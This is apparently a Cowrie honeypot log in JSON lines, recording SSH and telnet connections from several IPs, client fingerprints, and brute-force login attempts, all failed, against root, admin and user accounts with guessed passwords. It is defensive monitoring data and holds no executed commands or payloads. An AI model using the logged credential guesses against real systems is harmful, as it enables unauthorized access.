{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40002,"dst_ip":"10.17.0.5","dst_port":23,"session":"511af9376134","protocol":"telnet","message":"New connection: 152.42.224.71:40002 (10.17.0.5:23) [session: 511af9376134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:06.755769Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":62417,"dst_ip":"159.203.135.109","dst_port":22,"session":"37103b81fa5d","protocol":"ssh","message":"New connection: 2.57.121.112:62417 (159.203.135.109:22) [session: 37103b81fa5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:09.078166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:09.082845Z","src_ip":"2.57.121.112","session":"37103b81fa5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:09.185466Z","src_ip":"2.57.121.112","session":"37103b81fa5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7447","message":"login attempt [admin/7447] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:09.674389Z","src_ip":"2.57.121.112","session":"37103b81fa5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"72D5tn","message":"login attempt [admin/72D5tn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:10.781603Z","src_ip":"2.57.121.112","session":"37103b81fa5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"711711","message":"login attempt [admin/711711] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:11.887061Z","src_ip":"2.57.121.112","session":"37103b81fa5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"666000","message":"login attempt [admin/666000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:12.992508Z","src_ip":"2.57.121.112","session":"37103b81fa5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"6591","message":"login attempt [admin/6591] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:14.102804Z","src_ip":"2.57.121.112","session":"37103b81fa5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:15.209617Z","src_ip":"2.57.121.112","session":"37103b81fa5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37967,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db0f8bb39d7","protocol":"ssh","message":"New connection: 2.57.121.25:37967 (159.203.135.109:22) [session: 1db0f8bb39d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:16.686706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:16.692674Z","src_ip":"2.57.121.25","session":"1db0f8bb39d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:16.793612Z","src_ip":"2.57.121.25","session":"1db0f8bb39d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19081981","message":"login attempt [user/19081981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:17.266693Z","src_ip":"2.57.121.25","session":"1db0f8bb39d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":54586,"dst_ip":"10.17.0.5","dst_port":22,"session":"88abc73134cf","protocol":"ssh","message":"New connection: 43.134.184.253:54586 (10.17.0.5:22) [session: 88abc73134cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:17.317339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:17.322712Z","src_ip":"43.134.184.253","session":"88abc73134cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:17.569320Z","src_ip":"43.134.184.253","session":"88abc73134cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19081975","message":"login attempt [user/19081975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:18.372283Z","src_ip":"2.57.121.25","session":"1db0f8bb39d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sg1424guad12","message":"login attempt [root/sg1424guad12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:18.587794Z","src_ip":"43.134.184.253","session":"88abc73134cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19071992","message":"login attempt [user/19071992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:19.476401Z","src_ip":"2.57.121.25","session":"1db0f8bb39d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:19.836939Z","src_ip":"43.134.184.253","session":"88abc73134cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19061974","message":"login attempt [user/19061974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:20.579273Z","src_ip":"2.57.121.25","session":"1db0f8bb39d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19031976","message":"login attempt [user/19031976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:21.683524Z","src_ip":"2.57.121.25","session":"1db0f8bb39d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:22.787208Z","src_ip":"2.57.121.25","session":"1db0f8bb39d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34498,"dst_ip":"10.17.0.5","dst_port":23,"session":"18b928b15eea","protocol":"telnet","message":"New connection: 152.42.224.71:34498 (10.17.0.5:23) [session: 18b928b15eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:28.779459Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32986,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d6f86cd2cc1","protocol":"telnet","message":"New connection: 152.42.224.71:32986 (10.17.0.5:23) [session: 7d6f86cd2cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:35.901230Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32996,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ad602ed5879","protocol":"telnet","message":"New connection: 152.42.224.71:32996 (10.17.0.5:23) [session: 5ad602ed5879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:44.190080Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33002,"dst_ip":"10.17.0.5","dst_port":23,"session":"a98ec6561f51","protocol":"telnet","message":"New connection: 152.42.224.71:33002 (10.17.0.5:23) [session: a98ec6561f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:45.181987Z"}
{"eventid":"cowrie.session.closed","duration":39.5128276348114,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:46.268446Z","src_ip":"152.42.224.71","session":"511af9376134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":56518,"dst_ip":"159.203.135.109","dst_port":22,"session":"849911671c35","protocol":"ssh","message":"New connection: 147.45.211.215:56518 (159.203.135.109:22) [session: 849911671c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:54.615388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:54.621089Z","src_ip":"147.45.211.215","session":"849911671c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:54.799547Z","src_ip":"147.45.211.215","session":"849911671c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"228228","message":"login attempt [root/228228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:55.340578Z","src_ip":"147.45.211.215","session":"849911671c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:55:56.522853Z","src_ip":"147.45.211.215","session":"849911671c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.20059061050415,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:01.382447Z","src_ip":"152.42.224.71","session":"a98ec6561f51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49030,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d175f5b940a","protocol":"telnet","message":"New connection: 152.42.224.71:49030 (10.17.0.5:23) [session: 2d175f5b940a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:04.133623Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":37852,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e22ad5b2a07","protocol":"ssh","message":"New connection: 77.94.47.83:37852 (10.17.0.5:22) [session: 8e22ad5b2a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:06.997720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:07.003538Z","src_ip":"77.94.47.83","session":"8e22ad5b2a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:07.129533Z","src_ip":"77.94.47.83","session":"8e22ad5b2a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789zx","message":"login attempt [root/123456789zx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:07.511181Z","src_ip":"77.94.47.83","session":"8e22ad5b2a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:08.638862Z","src_ip":"77.94.47.83","session":"8e22ad5b2a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.760045766830444,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:08.661167Z","src_ip":"152.42.224.71","session":"7d6f86cd2cc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":49814,"dst_ip":"10.17.0.5","dst_port":22,"session":"750e6c8cc547","protocol":"ssh","message":"New connection: 43.173.88.240:49814 (10.17.0.5:22) [session: 750e6c8cc547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:13.213412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:13.217938Z","src_ip":"43.173.88.240","session":"750e6c8cc547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:13.290738Z","src_ip":"43.173.88.240","session":"750e6c8cc547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alvin","message":"login attempt [root/alvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:13.599915Z","src_ip":"43.173.88.240","session":"750e6c8cc547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:14.672035Z","src_ip":"43.173.88.240","session":"750e6c8cc547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45934,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb33aa5941e2","protocol":"telnet","message":"New connection: 152.42.224.71:45934 (10.17.0.5:23) [session: bb33aa5941e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:27.186914Z"}
{"eventid":"cowrie.session.closed","duration":120.00470066070557,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:31.278950Z","src_ip":"152.42.224.71","session":"aa056ca51bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45940,"dst_ip":"10.17.0.5","dst_port":23,"session":"69fd49c48035","protocol":"telnet","message":"New connection: 152.42.224.71:45940 (10.17.0.5:23) [session: 69fd49c48035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:35.063154Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":42842,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc572f784118","protocol":"ssh","message":"New connection: 43.134.184.253:42842 (10.17.0.5:22) [session: dc572f784118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:43.755928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:56:43.761303Z","src_ip":"43.134.184.253","session":"dc572f784118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["h